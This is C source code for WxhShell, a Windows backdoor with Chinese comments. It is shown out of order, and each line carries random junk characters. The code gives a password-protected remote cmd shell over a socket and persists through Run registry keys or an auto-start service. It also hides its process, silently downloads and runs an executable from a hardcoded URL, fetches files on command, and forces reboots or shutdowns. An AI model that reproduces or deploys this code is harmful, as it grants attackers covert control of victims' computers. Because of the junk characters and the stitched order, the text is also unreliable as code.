    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m1x7f% _  
    if(Boot(SHUTDOWN)) qd*3| O^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cjzhuH/y  
    else { zx"'WM*  
    closesocket(wsh); O$jj&  
    ExitThread(0); /C(lQs*l  
    } .'o<.\R8  
    break; &V5[Zj|]  
    } f}q4~NPn-  
  // 获取shell ,]?Xf >  
  case 's': { <ijf':X=*  
    CmdShell(wsh); *Dr-{\9  
    closesocket(wsh); 12 HBq8o  
    ExitThread(0); `]^0lD=eI  
    break; jf0D  
  } OjxaA[$  
  // 退出 85; BS'  
  case 'x': { ' uvTOgP,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Rd6? ,  
    CloseIt(wsh); J2cqnwUV  
    break; Wz)O,X^  
    } 0yW#).D^b  
  // 离开 n:JWu0,h  
  case 'q': { cW B>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m1@ste;$W  
    closesocket(wsh); dz fR ^Gv  
    WSACleanup(); TWF6YAQ m  
    exit(1); RAMkTS  
    break; x)eYqH~i  
        } ,KvF:xqA  
  } Uc,D&Og  
  } $qkV u  
s%h|>l[lKT  
  // 提示信息 0r?975@A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Oo'IeXQ9(  
} Y<('G5A  
  } 6<sd6SM  
PW(4-H  
  return; yl|?+  
} f%n],tE6  
o>rsk 6lNi  
// shell模块句柄 :3`6P:^  
int CmdShell(SOCKET sock) [{.e1s<EK  
{ Q 6djfEN>  
STARTUPINFO si; OiI[w8  
ZeroMemory(&si,sizeof(si)); #<ppiu$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r|$@Wsb?#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~(E.$y7P  
PROCESS_INFORMATION ProcessInfo; m~;fklX S  
char cmdline[]="cmd"; tL0<xGI5^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qfp,5@p  
  return 0; b&:>v9U  
} +a$'<GvP  
#/fh_S'Z  
// 自身启动模式 ~`'!nzP5H  
int StartFromService(void) `.3!  
{ kO:|?}Koc  
typedef struct d-e6hI4b  
{ b-pZrnZ!  
  DWORD ExitStatus; , 'WhF-  
  DWORD PebBaseAddress; ^mWOQ*zi;  
  DWORD AffinityMask; $OI 6^  
  DWORD BasePriority; o&]b\dV  
  ULONG UniqueProcessId; t)|*-=  
  ULONG InheritedFromUniqueProcessId; wQR>S>p  
}   PROCESS_BASIC_INFORMATION; l ;"v&?  
@<]sW*s  
PROCNTQSIP NtQueryInformationProcess; 3IXai)6U  
 k I {)"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I9S=VFhZ`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \Eq,4-q  
up+W[#+  
  HANDLE             hProcess; v+a$Xh3Y~  
  PROCESS_BASIC_INFORMATION pbi; u{#}Lo>B #  
e>yPFXSk  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yo\R[i(  
  if(NULL == hInst ) return 0; 7!%/vO0m  
E'3=qTbiD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *v1M^grKd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2aQR#lcv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B|%(0j8  
,(d\!T/]'  
  if (!NtQueryInformationProcess) return 0; : utY4  
?y1']GAo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AY]dwKw  
  if(!hProcess) return 0; a1p Z{Od  
vW`Dy8`06  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "B18|#v  
3r{3HaN(^'  
  CloseHandle(hProcess); RmF,x9  
\ G}02h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0#\K9|.  
if(hProcess==NULL) return 0; i?+ZrAx>  
?:@13wm  
HMODULE hMod; JbT+w \o  
char procName[255]; #2*l"3.$.R  
unsigned long cbNeeded; P2HR4`c  
CPJ8G}4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a7?z{ssEi  
b1rW0}A  
  CloseHandle(hProcess); tC;L A 4  
O~3<P3W  
if(strstr(procName,"services")) return 1; // 以服务启动 <sU?q<MC  
WiDl[l"{9  
  return 0; // 注册表启动 ckn0I  
} m\9R;$ \  
yV{&x  
// 主模块 G]Rb{v,r  
int StartWxhshell(LPSTR lpCmdLine) _+c' z  
{ gcS ?r :  
  SOCKET wsl; x`7Ch3`4}  
BOOL val=TRUE;  |tK_Bn  
  int port=0; 9W^sq<tR  
  struct sockaddr_in door; b&q!uFP  
UB%Zq1D|t  
  if(wscfg.ws_autoins) Install(); N.\?"n   
jb0wP01R  
port=atoi(lpCmdLine); T@K= * p  
~_l@ _P5yz  
if(port<=0) port=wscfg.ws_port; -PfBL8  
54[#&T$S  
  WSADATA data; Sq#AnD6To  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x/BtB"e*5  
VU8EjuOetb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #&v86  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }sy^ed  
  door.sin_family = AF_INET; GvAP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U}#3 LFr.?  
  door.sin_port = htons(port); %"<|u)E  
o%EzK;Df  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Q{+*F8%8V<  
closesocket(wsl); 4OX2GH=W  
return 1; hc"l^a!7ic  
} AN193o   
kSW=DE|#}  
  if(listen(wsl,2) == INVALID_SOCKET) { L{pz)')I  
closesocket(wsl); F~bDA~  
return 1; v,T :V#f^  
} DIqM\ ><  
  Wxhshell(wsl); |}^me7C,[  
  WSACleanup(); }I}/e v  
a$=BX=  
return 0; Ux[2 +Cf  
{oXU)9vj  
} 3(2WO^zX {  
I |PEC-(  
// 以NT服务方式启动 fnXYp !  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <x!q! ;  
{ (-}:'5|Yj  
DWORD   status = 0; GG0H3MSc  
  DWORD   specificError = 0xfffffff; _sp, ,gz  
LDDg g u   
  serviceStatus.dwServiceType     = SERVICE_WIN32; >m$jJlAv8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /D d.C<F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9f#~RY|#m  
  serviceStatus.dwWin32ExitCode     = 0; L/J1;  
  serviceStatus.dwServiceSpecificExitCode = 0; 5taR[ukM  
  serviceStatus.dwCheckPoint       = 0; %*}h{n  
  serviceStatus.dwWaitHint       = 0; MQc<AfW3/  
N_:H kI6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bA_/ 6r)u  
  if (hServiceStatusHandle==0) return; %IA1Y>`  
}4uHT.)  
status = GetLastError(); v 9,<2  
  if (status!=NO_ERROR) <USK6!-G  
{ "U"phLX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x/fhlf}a}=  
    serviceStatus.dwCheckPoint       = 0; gg0rkg  
    serviceStatus.dwWaitHint       = 0; -gQtw% `x  
    serviceStatus.dwWin32ExitCode     = status; T }}T`Ce  
    serviceStatus.dwServiceSpecificExitCode = specificError; 'c&[kMR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bIXudE[8zq  
    return; <<=.;`(/v  
  } 8A jQPDn+  
f]pHJVgFV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9T\uOaC"  
  serviceStatus.dwCheckPoint       = 0; @$Xl*WT7  
  serviceStatus.dwWaitHint       = 0; @=7[KMb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k~0#Iy_{M  
} r*q  
cv{icz,%w  
// 处理NT服务事件,比如:启动、停止 3u 'VPF2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7"_m?c8  
{ +Rj8 "p$K  
switch(fdwControl) vh$If0  
{ +P &S0/  
case SERVICE_CONTROL_STOP: A_!N,< -  
  serviceStatus.dwWin32ExitCode = 0; '^n,)oA/G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .Ei#mG-=}&  
  serviceStatus.dwCheckPoint   = 0; I[6ft_*  
  serviceStatus.dwWaitHint     = 0; w4Uo-zr@  
  { h]Y,gya[yk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +C}s"qrb@  
  } 9xN`  
  return; `@<~VWe5  
case SERVICE_CONTROL_PAUSE: dc dVB>D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &wX568o  
  break; lt{D f~c  
case SERVICE_CONTROL_CONTINUE: \wKnX]xGf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $$ 9!4  
  break; p uZY4}b_  
case SERVICE_CONTROL_INTERROGATE: @+6cKP  
  break; mz2v2ma  
}; <Fi*wV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tCR#TW+IY-  
} MpVZL29)  
b$eN]L   
// 标准应用程序主函数 43}uW, P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [Ot<8)Jm  
{ &s(mbpV  
c(kYCVc   
// 获取操作系统版本 8 7z]qE  
OsIsNt=GetOsVer(); b}3t8?wG&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); kt# t-N;}x  
8U%y[2sT  
  // 从命令行安装 S"cim\9xP  
  if(strpbrk(lpCmdLine,"iI")) Install(); zcy`8&{A<?  
y]okOEV0  
  // 下载执行文件 X:/7#fcG8  
if(wscfg.ws_downexe) { F-X L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kr'Yz!  
  WinExec(wscfg.ws_filenam,SW_HIDE); }*P?KV (  
} tZ.hSDH  
=E$B0^_2RC  
if(!OsIsNt) { NY GWA4L  
// 如果时win9x,隐藏进程并且设置为注册表启动 |})v, o B  
HideProc(); V"|`Z}XW  
StartWxhshell(lpCmdLine); @iU(4eX  
} ^H!45ph?Jc  
else G+1i~&uV  
  if(StartFromService()) kXgc'w6EhF  
  // 以服务方式启动 /,yRn31[  
  StartServiceCtrlDispatcher(DispatchTable); w.(?O;  
else |\U5m6q  
  // 普通方式启动 r h c&#JS  
  StartWxhshell(lpCmdLine); V/+D]  
5K,=S  
return 0; (]nX:t  
} =p[a Cb i  
".{'h  
oO^=%Mc(  
yf2P6b\  
=========================================== tH(g;flO)  
g_JSgH!4  
Ie[DTy  
[7\x(W-:@>  
Mt*V-`+\  
b(Yxsy{U  
" S "/-)_{  
Os/?iGlD*E  
#include <stdio.h> d/[kky}  
#include <string.h> $=5kn>[_Z%  
#include <windows.h> e0M'\'J  
#include <winsock2.h> @Hl+]arUh  
#include <winsvc.h> G+t=+T2m  
#include <urlmon.h> MJA;P7g  
XE8%t=V!c$  
#pragma comment (lib, "Ws2_32.lib") y7Nd3\v [\  
#pragma comment (lib, "urlmon.lib") P7epBWqDP  
L1kA AR  
#define MAX_USER   100 // 最大客户端连接数 mgTzwE_\  
#define BUF_SOCK   200 // sock buffer MnP+L'|  
#define KEY_BUFF   255 // 输入 buffer B2Kh~Xd  
%R<xe.X  
#define REBOOT     0   // 重启 A`* l+M^z  
#define SHUTDOWN   1   // 关机 2%/+r  
6MpV ,2:>  
#define DEF_PORT   5000 // 监听端口 q8}he~a  
NcX`*18  
#define REG_LEN     16   // 注册表键长度 4>Y*owa4  
#define SVC_LEN     80   // NT服务名长度 Nj.;mr<  
l(HxZlHr  
// 从dll定义API TU*Y?D L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _h I81Lzq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LvMA('4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pV`/6 }  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lMgPwvs'  
v\+`n^=  
// wxhshell配置信息 "TVmxE%(  
struct WSCFG { ~ \b~  
  int ws_port;         // 监听端口 #S(b2LEc  
  char ws_passstr[REG_LEN]; // 口令 q7pe\~q  
  int ws_autoins;       // 安装标记, 1=yes 0=no M[C)b\  
  char ws_regname[REG_LEN]; // 注册表键名 <b?$-Rx  
  char ws_svcname[REG_LEN]; // 服务名 x->+w Jm@s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T_d)1m fl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }/4),W@<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d(K}v\3!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z^J 7r&\V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \zeuvD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BZ(DP_}&D  
2|&SG3e+(I  
}; ZcN#jnb0/  
2$'bOo  
// default Wxhshell configuration {$V2L4  
struct WSCFG wscfg={DEF_PORT, JL [!8NyU  
    "xuhuanlingzhe", [{: l?  
    1, *;F:6p4_  
    "Wxhshell", Yq'D-$@  
    "Wxhshell", #8$" 84&N.  
            "WxhShell Service", O=jzz&E+  
    "Wrsky Windows CmdShell Service", 4HpKKhv"  
    "Please Input Your Password: ", iz0:  
  1, fX2OH)6U  
  "http://www.wrsky.com/wxhshell.exe", Hzz v 6k  
  "Wxhshell.exe" X6BOB?  
    }; j_h0 hm]  
MpTOC&NG%s  
// 消息定义模块 !;K zR&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O Q$C#:?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {&a6<y#-  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S%e)br}  
char *msg_ws_ext="\n\rExit."; m ?*h\NaB  
char *msg_ws_end="\n\rQuit."; 5?0~7^de  
char *msg_ws_boot="\n\rReboot..."; Pj_*,L`mZ  
char *msg_ws_poff="\n\rShutdown..."; {q^UWv?1  
char *msg_ws_down="\n\rSave to "; 4(,M&NC  
&A=c[pc  
char *msg_ws_err="\n\rErr!"; P&yB(M-z  
char *msg_ws_ok="\n\rOK!"; F:~@e(  
 ?<T=g  
char ExeFile[MAX_PATH]; /!N=@z)  
int nUser = 0; cgO<%_l3`  
HANDLE handles[MAX_USER]; dkeMiL m  
int OsIsNt; Ko)f:=Qo  
IG:2<G  
SERVICE_STATUS       serviceStatus; 13 %: 3W(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~[f`oC  
Er - rm  
// 函数声明 7* [  
int Install(void); N( f0,  
int Uninstall(void); %j2$ ezud  
int DownloadFile(char *sURL, SOCKET wsh); 3#Iq5vT  
int Boot(int flag); YABi`;R]'  
void HideProc(void); de;CEm<n  
int GetOsVer(void); 2qQ;U?:q  
int Wxhshell(SOCKET wsl); !N!AO(Z  
void TalkWithClient(void *cs); )Cat$)I#,  
int CmdShell(SOCKET sock); 13*S<\  
int StartFromService(void); D]5j?X'  
int StartWxhshell(LPSTR lpCmdLine); x&r f]R  
?6HnN0A)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); IVVX3RI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5tk7H2K^<  
*!j!o%MB  
// 数据结构和表定义 J/3$I  
SERVICE_TABLE_ENTRY DispatchTable[] = skU }BUK6  
{ F%.UpV,  
{wscfg.ws_svcname, NTServiceMain}, 64vj6 &L  
{NULL, NULL} Ktu~%)k%  
}; nPDoK!r'  
%xKZ" #Z#K  
// 自我安装 .gM6m8l9wp  
int Install(void) 7u rD  
{ c&Eva  
  char svExeFile[MAX_PATH]; C XNYWx  
  HKEY key; -w f>N:  
  strcpy(svExeFile,ExeFile); MTq/  
rU(-R@["  
// 如果是win9x系统,修改注册表设为自启动 0JKTwLhC  
if(!OsIsNt) { i52JY&N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jfVw{\l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sk*vmxClY  
  RegCloseKey(key); i|xz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .&`apQD}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nwzyL`kF  
  RegCloseKey(key); ))nTd=  
  return 0; oKH+Q6S:  
    } &C)97E  
  } ru~!;xT  
} bAy\Sr #/  
else { H/Rzs$pnv  
mD|Q+~=|e  
// 如果是NT以上系统,安装为系统服务 i29a1nD4Hm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9p1@Lfbj  
if (schSCManager!=0) >&k`NXS|V  
{ $=`d[04  
  SC_HANDLE schService = CreateService - P "  
  ( YLS*uXB&.  
  schSCManager, $My~sN8  
  wscfg.ws_svcname, t*dq*(3"c  
  wscfg.ws_svcdisp, a7=lZZ?  
  SERVICE_ALL_ACCESS, 6L)7Q0Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H/.UDz  
  SERVICE_AUTO_START, @1' Y/dCyD  
  SERVICE_ERROR_NORMAL, EWY'E;0@5  
  svExeFile, ZE= Yn~XM  
  NULL, *xITMi  
  NULL, Xbrc_ V\_  
  NULL, WJ LqH<  
  NULL, Mz86bb^J  
  NULL VvT7v]  
  ); iXWB  
  if (schService!=0) Ix<!0! vk  
  { UoUQ6Ij  
  CloseServiceHandle(schService); TtH!5{$s  
  CloseServiceHandle(schSCManager); >_G'o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 2E`mbT,v&  
  strcat(svExeFile,wscfg.ws_svcname); =''b`T$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2\1bQ q\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B =7maYeU  
  RegCloseKey(key);  cV_-Bcb  
  return 0; JIHIKH-#  
    } Bk^o$3#  
  } F S$8F  
  CloseServiceHandle(schSCManager); ^~6gkS }  
} iq^;csyKb  
} Koj9]2<0  
}Z t#OA $  
return 1; z-:>[Sn  
} Hs_7oy|P  
.p?SPR  
// 自我卸载 qQ6@43TC  
int Uninstall(void) GV28&!4sS  
{ wh2E$b(-  
  HKEY key; SqdI($F\:  
r. (}  
if(!OsIsNt) { 7$t['2j3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wA)n ryXV  
  RegDeleteValue(key,wscfg.ws_regname); #0\* 8 6  
  RegCloseKey(key); k#7A@Vb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { euW   
  RegDeleteValue(key,wscfg.ws_regname); ;t,v/(/3  
  RegCloseKey(key); 3 TTQf f  
  return 0; W-Vc6cq  
  } K5t.OAA:  
} E7_OI7C  
} '#e T  
else { {E7STLQ_%  
H SGz-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,A)Z .OWOq  
if (schSCManager!=0) ET 0(/Zz  
{ q_mxZM ->  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jzZ]+'t  
  if (schService!=0) 8OO[Le]1  
  { U0srwt97S  
  if(DeleteService(schService)!=0) { &\Lu}t7Ru  
  CloseServiceHandle(schService); ZLPj1L  
  CloseServiceHandle(schSCManager); 8G9( )UF.  
  return 0; %+<1X?;,Fq  
  } #};Zgixo$  
  CloseServiceHandle(schService); };EB  
  } jW-;Y/S  
  CloseServiceHandle(schSCManager); 0PsQ 1[1  
} DyA /!%g  
} ]mUt[Yy:z  
fny6`_O  
return 1; ; sqxFF@  
} zK{}   
?r5a*  
// 从指定url下载文件 r .6?|  
int DownloadFile(char *sURL, SOCKET wsh) zjSl;ru  
{ 7zJ2n/`m*  
  HRESULT hr; IN;9p w  
char seps[]= "/"; U@{>+G[  
char *token; 7^mQfQv  
char *file; Ap;^ \5  
char myURL[MAX_PATH]; <*-8E(a  
char myFILE[MAX_PATH]; m/(/!MVy  
7Cbr'!E\_V  
strcpy(myURL,sURL); :i@ $s/  
  token=strtok(myURL,seps); $b2~H+u(  
  while(token!=NULL) T!HAE#xC  
  { 5,V*aP  
    file=token; "r3h+(5  
  token=strtok(NULL,seps); 3bjCa\ "  
  } 2V u?Y  
9 `q(_\x  
GetCurrentDirectory(MAX_PATH,myFILE); m\bmBK"I  
strcat(myFILE, "\\");  H{Lt,#  
strcat(myFILE, file); f5l\3oL  
  send(wsh,myFILE,strlen(myFILE),0); }[MkJ21!  
send(wsh,"...",3,0); csxn" Dz\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .tyV =B:h  
  if(hr==S_OK) </?ef&  
return 0; mH5>50H;  
else Ggst s  
return 1; Wg,@S*x(  
d6 -q"  
} _`0DO4IU  
}d iE'  
// 系统电源模块 %L7DC`  
int Boot(int flag) lN{>.q@V`r  
{ +aPe)U<t  
  HANDLE hToken; N'$P( bx  
  TOKEN_PRIVILEGES tkp; P4c3kO0  
UvB\kIH  
  if(OsIsNt) { ]#rV]As  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E}a.qM'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4^4T#f2=e  
    tkp.PrivilegeCount = 1; B4+c3M\$V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pv&iJ7RN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1/qD5 *`Y  
if(flag==REBOOT) { 8ph1xQ'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pY&dw4V  
  return 0; ?hR0 MnP  
} -vk/z+-^!  
else { ,# .12Q!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JP {`^c  
  return 0; jUR* |  
} 6c/0OM#  
  } Cw kQhj?  
  else { qe(C>qjMbG  
if(flag==REBOOT) { % W|Sl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) MPyDG"B*  
  return 0; -eS r  
} 9f5~hBlo  
else { 1&7?f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) O:RN4/17  
  return 0; ) =x4+)9  
} W[]|Uu/%  
} [fb9;,x`  
O#C0~U]dDW  
return 1; m39.j:BG5  
} OT6Te&  
9.( [,J  
// win9x进程隐藏模块 zcH"Kh&  
void HideProc(void) R%)F9P$o  
{ >uQjygjj  
*ezft&{)`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {)!ua7GF0H  
  if ( hKernel != NULL ) 9L4;#cy  
  { U~@;2\ o  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >c5   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^gpd '*b  
    FreeLibrary(hKernel); xS+xUi  
  } eoQt87VCU  
^nOh 8L;  
return; T?.l_"%%d  
} D+jvF  
:P+7ti@  
// 获取操作系统版本 f4NN?"W)  
int GetOsVer(void) vS3Y9|-:  
{ XtBEVqrhi  
  OSVERSIONINFO winfo; R"CF xo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `zl,|}u)  
  GetVersionEx(&winfo); BePb8 k<y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?@`5^7*  
  return 1; $*P +   
  else XbFo#Pwk  
  return 0; @ptrF pSL  
} 9(vp`Z8B4  
EQZ/v gho  
// 客户端句柄模块 .RmoO\ ,Gm  
int Wxhshell(SOCKET wsl) p<l+js(5|  
{ 3!QXzT$E  
  SOCKET wsh; Xa$%`  
  struct sockaddr_in client; *H=h7ESq  
  DWORD myID; T%Zfo7  
JnnxXj30,  
  while(nUser<MAX_USER) yOb']  
{ mRGr+m  
  int nSize=sizeof(client); ?>vkY^/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {BaPK&x,  
  if(wsh==INVALID_SOCKET) return 1; =T?Xph{  
i??+5o@uTF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HxL uJ  
if(handles[nUser]==0) c*" P+  
  closesocket(wsh); ! /|B4Yv  
else Ag2Q!cq  
  nUser++; H/8u?OC  
  } (R RRG;*n#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BrzTOkeyG  
j/E(*Hv  
  return 0; J\'f5)k  
} bS55/M w  
^U,C])n  
// 关闭 socket fmUrwI1 %  
void CloseIt(SOCKET wsh) ^r7KEeVD  
{ .i` -t"  
closesocket(wsh); L/vw7XNrX  
nUser--; N#R8ez`  
ExitThread(0); GU Mf}y  
} 9]tW;?  
M.)z;[3O  
// 客户端请求句柄 G2@'S&2@s  
void TalkWithClient(void *cs) ]<q!pE;t  
{ [" ocZ? x  
`(O#$n  
  SOCKET wsh=(SOCKET)cs; $,I@c"m{  
  char pwd[SVC_LEN]; JEZ0O&_R  
  char cmd[KEY_BUFF]; n>SK2`  
char chr[1]; ,,)'YhG(  
int i,j; $I ,Np)i  
Ze[\y(K!  
  while (nUser < MAX_USER) { Jk{v (W#  
G#uB%:)&0u  
if(wscfg.ws_passstr) { jC?l :m?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b0se-#+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3k8. 5W  
  //ZeroMemory(pwd,KEY_BUFF); %6M%PR~u  
      i=0; !Ow M-t  
  while(i<SVC_LEN) { &/otoAr(  
_ph1( !H$  
  // 设置超时 iP$>/[I  
  fd_set FdRead; 9 uX 15a  
  struct timeval TimeOut; ]Al)>  
  FD_ZERO(&FdRead); |B^Picu  
  FD_SET(wsh,&FdRead); ke/4l?zs  
  TimeOut.tv_sec=8; 4)L};B=  
  TimeOut.tv_usec=0; PBiA/dG[;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FS('*w&bP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); < 5ULu(b&$  
7v.O Lp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j``Ku@/x0  
  pwd=chr[0]; ~Q]::  
  if(chr[0]==0xd || chr[0]==0xa) { 9c{ ~$zJW  
  pwd=0; o{mVXidE  
  break; ^ b=;  
  } lx?v .:zl\  
  i++; c+whpQ=01  
    } wp:Zur5Y  
#AO}JP  
  // 如果是非法用户,关闭 socket " Z dI~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); TKEcbGhy  
} OsYZ a`$,  
?D_}',Wx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :."+&gb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yy3`E}vX7  
3 "Qg"\  
while(1) { ?TmVLny  
%?S[{ 4A&  
  ZeroMemory(cmd,KEY_BUFF); v+<4?]EJ  
\3F)M`g  
      // 自动支持客户端 telnet标准   bIV9cpW  
  j=0; Mdu\ci)lr  
  while(j<KEY_BUFF) { ,. <c|5R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BcQw-<veu  
  cmd[j]=chr[0]; X%7l! k[  
  if(chr[0]==0xa || chr[0]==0xd) { RYl\Q,#  
  cmd[j]=0; *Rc?rMF!  
  break; ,bB}lU)  
  } rQTG-& ,  
  j++; iI*qx+>f?  
    } 7|!Zx-}  
l#p?lBm1  
  // 下载文件 <v\x<ul6  
  if(strstr(cmd,"http://")) { rQPO+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t+0/$  
  if(DownloadFile(cmd,wsh)) '68#7Hs.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;^)4u  
  else yv)-QIC3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /7-FVqDx8  
  } a 5w E{K  
  else { GQE7P()  
,wyEo>>4)  
    switch(cmd[0]) { wDBU+Z  
  m?;/H  
